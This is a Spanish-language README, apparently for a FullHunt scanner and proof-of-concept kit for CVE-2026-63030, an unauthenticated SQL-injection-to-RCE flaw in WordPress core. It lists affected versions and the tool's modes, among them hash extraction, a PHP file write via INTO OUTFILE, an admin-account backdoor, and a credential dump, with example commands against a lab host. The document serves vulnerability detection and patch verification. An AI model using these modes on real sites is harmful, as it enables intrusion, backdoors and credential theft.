
Un escáner y kit de prueba de concepto para CVE-2026-63030 (wp2shell) - ejecución remota de código sin autenticación en el núcleo de WordPress

--check-type time-based (temporización SLEEP) y --check-type error-based (diferencial TRUE/FALSE/roto). Ambos seguros para escaneos amplios.--i-have-authorization.CVE-2026-63030 ("wp2shell") es una vulnerabilidad de ejecución remota de código sin autenticación en el núcleo de WordPress. Un error de confusión de ruta / desincronización de índices en el endpoint por lotes de la API REST (/batch/v1) permite a un atacante no autenticado introducir un valor author_exclude sin sanitizar en WP_Query, resultando en inyección SQL. Cuando el usuario de la base de datos tiene el privilegio FILE, esto conduce a la ejecución remota de código mediante SELECT ... INTO OUTFILE. No se requieren plugins. Una instalación estándar de WordPress es vulnerable.
WordPress publicó parches en 6.9.5, 7.0.2 y 7.1-beta2. Parchee inmediatamente. Si necesita ayuda para escanear o descubrir esta vulnerabilidad en su infraestructura, envíe un correo a [email protected]. Lea más en el blog de fullhunt.io.
| Rama | Vulnerable | Corregido |
|---|---|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | No afectado (el endpoint por lotes no está presente) | — |
Hemos estado investigando wp2shell (CVE-2026-63030) desde su divulgación pública, y hemos trabajado en la prevención de esta vulnerabilidad con nuestros clientes. Estamos publicando como código abierto una herramienta de detección y escaneo abierta para descubrir y validar CVE-2026-63030. Esta debería ser utilizada por los equipos de seguridad para escanear su infraestructura en busca de wp2shell y para verificar que las reglas WAF y los parches realmente bloqueen la cadena de ataque en el entorno de la organización.
wp2shell-scan.py es un escáner único y unificado que admite ocho modos:
| Modo | Propósito | Autorización |
|---|---|---|
check | Detección no destructiva. Dos tipos de verificación: --check-type time-based (sonda de temporización SLEEP) o --check-type error-based (diferencial TRUE/FALSE/roto). | No |
probe-endpoints | Descubrir qué endpoints REST pasan la inyección a WP_Query. | No |
probe | Comparación lado a lado de respuestas de N cargas SQL. | No |
extract | Extracción por oráculo booleano de metadatos y hashes de la DB. | Sí |
blind | Extracción ciega basada en temporización (alternativa cuando el oráculo booleano no es fiable). | Sí |
exploit | Validar la cadena completa SQLi → INTO OUTFILE → ejecución PHP. | Sí |
adduser | Escribir un backdoor mu-plugin que crea una cuenta de administrador; recurre a la extracción de hash booleano. | Sí |
get-users | Volcado por oráculo booleano de todas las credenciales de wp_users. | Sí |
Nota: Los modos marcados como "Sí" en Autorización requieren el indicador
--i-have-authorization.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local